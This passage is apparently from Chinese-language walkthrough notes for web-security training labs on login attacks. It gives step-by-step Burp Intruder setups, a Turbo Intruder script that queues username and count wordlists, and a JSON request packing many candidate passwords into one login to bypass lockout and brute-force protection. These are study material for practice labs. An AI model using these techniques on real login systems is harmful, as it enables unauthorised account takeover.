wiener:peter
carlos:尝试密码1
wiener:peter
carlos:尝试密码2
wiener:peter
carlos:尝试密码n
4.编辑候选密码列表,并在每个密码之前添加您自己的密码。 确保您的密码与另一个列表中的用户名对齐。 将此列表添加到有效负载集2中并开始攻击。
5.将此列表添加到有效负载集2中并开始攻击。
6.攻击完成后,请按用户名和响应代码对结果进行排序。 成功登录到Carlos帐户的请求将收到302响应。
1.5 通过帐户锁定枚举用户名(Username enumeration via account lock)
1.在Burp运行时,调查登录页面并提交无效的用户名和密码。 将POST / login请求发送到Burp Intruder。
2.选择攻击类型”Cluster bomb”。 将有效负载位置添加到username参数。 在请求的末尾添加一个任意的附加参数,并向其添加第二个有效负载位置。例如:
Burp Intruder:
username=§invalid-username§&password=example&count=§0§
Turbo Intruder代替Burp Intruder那么有两个参数的Turbo Intruder配置如下:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=50,
requestsPerConnection=1,
pipeline=True
for i in range(3, 8):
engine.queue(target.req, randstr(i), learn=1)
engine.queue(target.req, target.baseInput, learn=2)
for firstWord in open('/path/to/username'):
for secondWord in open('/path/to/count'):
engine.queue(target.req, [firstWord.rstrip(), secondWord.rstrip()])
def handleResponse(req, interesting):
if 'You have made too many incorrect login attempts' in req.response:
table.add(req)
3.在Payloads选项卡上,将用户名列表添加到第一个有效载荷集,并将数字1-5添加为第二个有效载荷集。 这将导致用户名重复5次(假设:有效的用户名尝试5次密码失败就被锁住),然后开始攻击。
4.在结果中,请注意,其中一个用户名的响应比使用其他用户名时的响应长。 仔细研究响应,并注意它包含不同的错误消息:You have made too many incorrect login attempts., 记下该用户名。
5.在POST /login登录请求上创建新的Burp Intruder攻击,但是这次选择”Sniper”攻击类型。 将username参数设置为刚标识的用户名,并将有效负载位置添加到password参数。
6.Burp Intruder:将密码列表添加到有效负载集中,并为错误消息创建grep提取规则。
Turbo Intrude:则把handleResponse条件改为if '200' in req.response即可. 开始攻击。
7.Burp Intruder:在结果中,查看grep提取列。 请注意,有几个不同的错误消息,但是其中一个响应不包含任何错误消息。
Turbo Intruder:它有一列Words长度是不一样的,点击Words排序就很容易找到密码了 记下该密码。
(有时虽然提示已经阻塞的错误信息,但是依然可以发送登录信息).
8.在浏览器中,等待一分钟(有些久的15分钟左右)以重置帐户锁定,然后使用您标识的凭据登录。
1.6 暴力破解保護,一個請求里面包含多個候選的密碼(Broken brute-force protection, multipe credentials per request)
1.運行Burp,研究登錄頁面.注意到POST /login請求提交登錄憑證是以JSON的格式提交的。將該請求發送到Burp Repeater.
2.在Burp Repeater,將password單一的密碼字符串替換爲包含所有候選密碼的數組.如下:
"username" : "carlos",
"password" : [
"123456",
"password",
"qwerty",
3.發送請求,它將會返回302的響應.
4.右鍵點擊該響應且選擇”Show the response in browser”.複製URL粘貼到瀏覽器且回車,該頁面會加載且將會以carlos用戶身份登錄.